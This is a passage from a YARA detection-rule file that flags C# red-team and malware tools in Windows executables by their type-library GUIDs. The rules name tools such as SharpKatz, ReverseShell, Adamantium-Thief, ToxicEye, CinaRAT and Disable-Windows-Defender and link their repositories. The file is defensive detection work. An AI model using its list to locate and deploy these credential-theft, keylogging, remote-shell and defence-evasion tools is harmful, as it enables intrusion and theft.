		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5dc6702f-a398-5be2-9df8-9a2ddc636a1f"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/K1ngSoul/DarkEye"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L97-L110"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7571ed93fd3ea690549ab35682b0073e1c2b9ac57e36394d35794aba7c50b79e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0bdb9c65-14ed-4205-ab0c-ea2151866a7f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpkatz : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ff084b4c-4b00-5504-85ee-d6d17b5be504"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/b4rtik/SharpKatz"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L112-L125"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8899192a8006bb31ce4277fc371a30b301ffc1a42030ca3a4059a2b53c889bae"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8568b4c1-2940-4f6c-bf4e-4383ef268be9" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Externalc2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1bbdfbb9-a3e8-5ffe-9db9-b50937e6a14d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/ryhanson/ExternalC2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L127-L141"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "81042972411ab82da8460f9e263614f563bc67e3ce585f1a955b565b066ee8c9"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii wide
		$typelibguid1lo = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Povlsomware : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0eba43d2-b415-5e72-9677-4a3238ff7c34"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/povlteksttv/Povlsomware"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L143-L156"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f8e246080ffcaa73ad727d2d9a1f2b75f2d413b49dff0c3b50831a41e1f14a2f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "fe0d5aa7-538f-42f6-9ece-b141560f7781" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Runshellcode : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "249da967-68b0-59b1-b414-4eb4fe67b8f3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/zerosum0x0/RunShellcode"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L158-L171"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5df20e170651f32e41a905992d0bb52542638e2d0a56841db900b70e324c9afe"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a3ec18a3-674c-4131-a7f5-acbed034b819" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharploginprompt : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e9a493d9-21b6-5ff1-9e5e-e8fbacc34c0c"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/shantanu561993/SharpLoginPrompt"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L173-L186"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e8abbc67d568956bf98e733b1e98910d0501225d4a0dc0bec6be9b572fcc2b36"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c12e69cd-78a0-4960-af7e-88cbd794af97" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Adamantium_Thief : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "82225b2e-ab4a-50b8-a3fd-7ad4947d052e"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/LimerBoy/Adamantium-Thief"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L188-L201"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "37303dd37952d08ca2f85d03b4a9a8d52a3c55870e1350bca7ac84749942dfd8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e6104bc9-fea9-4ee9-b919-28156c1f2ede" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Psbypassclm : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "dad6729f-3d96-5d2d-b72c-a96d1a3eae74"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/padovah4ck/PSByPassCLM"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L203-L216"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a2646ff961b5fc94035fae0b7e5afedc054dfcfe710701dbf9ba17674c2bb6c8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "46034038-0113-4d75-81fd-eb3b483f2662" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Physmem2Profit : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "75a27970-c469-53da-b0c3-b3d0faea0b6f"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/FSecureLABS/physmem2profit"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L218-L231"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "57e6159bc047c372bb7fa9ac0f77183fe06fe3f41b83039f8b0185f2743cc774"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "814708c9-2320-42d2-a45f-31e42da06a94" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Noamci : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5fab1551-9d35-53cf-a04f-c14370119553"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/med0x2e/NoAmci"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L233-L246"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7d934503bab7318930f958b1818037f00d3d5be7f5f89f3b519c5072bb4fee03"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "352e80ec-72a5-4aa6-aabe-4f9a20393e8e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpblock : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b84538da-1b0e-50c7-abfa-e93d6de5a49b"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/CCob/SharpBlock"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L248-L261"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7bc689efc6f89ac685f1066da4e9735a0e2b985008679c51e14664cebdaebe4a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3cf25e04-27e4-4d19-945e-dadc37c81152" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Nopowershell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0fd7496b-e34f-51f7-9270-ad424ed6a7a8"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/bitsadmin/nopowershell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L263-L276"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5e4088d451cdc939608fb82f0259d3b60ce8247dfd2f76de839681c9e3d60414"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "555ad0ac-1fdb-4016-8257-170a74cb2f55" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Limelogger : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0798f01b-76b7-5c4d-9ddb-5e377b86f8b9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/LimeLogger"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L278-L291"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "58588726f5f548b9aa948eac6d752404aa43fed18ccd4340422a652b9b061c9b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "068d14ef-f0a1-4f9d-8e27-58b4317830c6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Aggressorscripts : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d5903db5-010b-5b9d-8a5b-5d61aec52e7a"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/harleyQu1nn/AggressorScripts"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L293-L306"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b5d84b6dea0290b901f1d911f341a2b15ab42cf9197775d9bb2f613f4baeb69d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "afd1ff09-2632-4087-a30c-43591f32e4e8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Gopher : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e3015719-9085-584d-8237-f377ec995149"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/EncodeGroup/Gopher"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L308-L321"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "430727d064ae07a4ca4411ee78fe74c684ce21d287283467c1afb9795545003e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b5152683-2514-49ce-9aca-1bc43df1e234" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Aviator : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "52acd520-52aa-5bb9-ab3b-66a940aa5f5a"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Ch0pin/AVIator"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L323-L336"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9101444f7d9306058a42b0325fefc0a088d1669932e4a6ba23b387829f01a097"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4885a4a3-4dfa-486c-b378-ae94a221661a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Njcrypter : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c30c8323-9418-521a-a4fc-6be0113b99b5"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/0xPh0enix/njCrypter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L338-L352"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2e3c616b75e15ad082cf0871b7ef8e04f0c2a937000f4bea6927962451ac7f12"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8a87b003-4b43-467b-a509-0c8be05bf5a5" ascii wide
		$typelibguid1lo = "80b13bff-24a5-4193-8e51-c62a414060ec" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpminidump : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e91e6711-d992-5a8a-97e6-1ed7847f38a4"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/b4rtik/SharpMiniDump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L354-L367"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "eea9a60c5d0acb1ffa7cbfec59f2a3f7f29b507fba2c3694480627c583d24c97"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "6ffccf81-6c3c-4d3f-b15f-35a86d0b497f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Cinarat : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c6b4c919-0fc6-5096-b29b-963142a2c831"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/wearelegal/CinaRAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L369-L383"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d3e006450f3bd35d9d8b0d5c74470f555917d8b3583285ac3ac925ce2a83972b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8586f5b1-2ef4-4f35-bd45-c6206fdc0ebc" ascii wide
		$typelibguid1lo = "fe184ab5-f153-4179-9bf5-50523987cf1f" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Toxiceye : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "0b7b62ce-9c24-5d81-8d87-22f6e461a62b"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/LimerBoy/ToxicEye"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L385-L398"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "58070408e4c08d20a3f37a2bf59f4b125ef4608e9ee3e7ed5fe1e26ad51b6c88"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1bcfe538-14f4-4beb-9a3f-3f9472794902" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Disable_Windows_Defender : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9a673427-e66e-594b-942a-64a2272319f3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Disable-Windows-Defender"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L400-L413"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "65cc86433a3c4cb22ad54065b90010a0f3eb18ad8791c45343d103deea880195"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "501e3fdc-575d-492e-90bc-703fb6280ee2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dinvoke_Poc : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/dtrizna/DInvoke_PoC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L415-L428"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "51299abecf7244d150e7c148b5896cd64bcf5817a9a962013d6a986891bd321f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5a869ab2-291a-49e6-a1b7-0d0f051bef0e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Reverseshell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "876932d5-a65d-5230-9cb8-24038ad8af0d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/chango77747/ReverseShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L430-L444"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cf8220444b6ffe810451e4754f8561e80acd99f8b5fbb013e8eef488b3c4243e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "980109e4-c988-47f9-b2b3-88d63fababdc" ascii wide
		$typelibguid1lo = "8abe8da1-457e-4933-a40d-0958c8925985" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpc2 : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "2ed6d74e-2b95-5c70-807a-4da5e62f5853"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/SharpC2/SharpC2"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L446-L464"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5439cbe057d5735e3d35ac01966fc65ca0727e1c1c353564d38d1c20bb04484a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "62b9ee4f-1436-4098-9bc1-dd61b42d8b81" ascii wide
		$typelibguid1lo = "d2f17a91-eb2d-4373-90bf-a26e46c68f76" ascii wide
		$typelibguid2lo = "a9db9fcc-7502-42cd-81ec-3cd66f511346" ascii wide
		$typelibguid3lo = "ca6cc2ee-75fd-4f00-b687-917fa55a4fae" ascii wide
		$typelibguid4lo = "a1167b68-446b-4c0c-a8b8-2a7278b67511" ascii wide
		$typelibguid5lo = "4d8c2a88-1da5-4abe-8995-6606473d7cf1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sneakyexec : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "853b630d-77ba-5847-a129-c9fa0538f81b"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/HackingThings/SneakyExec"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L466-L479"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cb2d505666c4395c9e43607468332c7559807d4da063eb69b31638f2520fee0e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "612590aa-af68-41e6-8ce2-e831f7fe4ccc" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Urbanbishoplocal : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "53b690ec-7d20-5e46-b368-b458ce56073d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/slyd0g/UrbanBishopLocal"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L481-L494"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cd0ded2fbfbf0fb8c53928e3f1bc4425bfa6112b92b609f421d517f931814faa"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "88b8515e-a0e8-4208-a9a0-34b01d7ba533" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
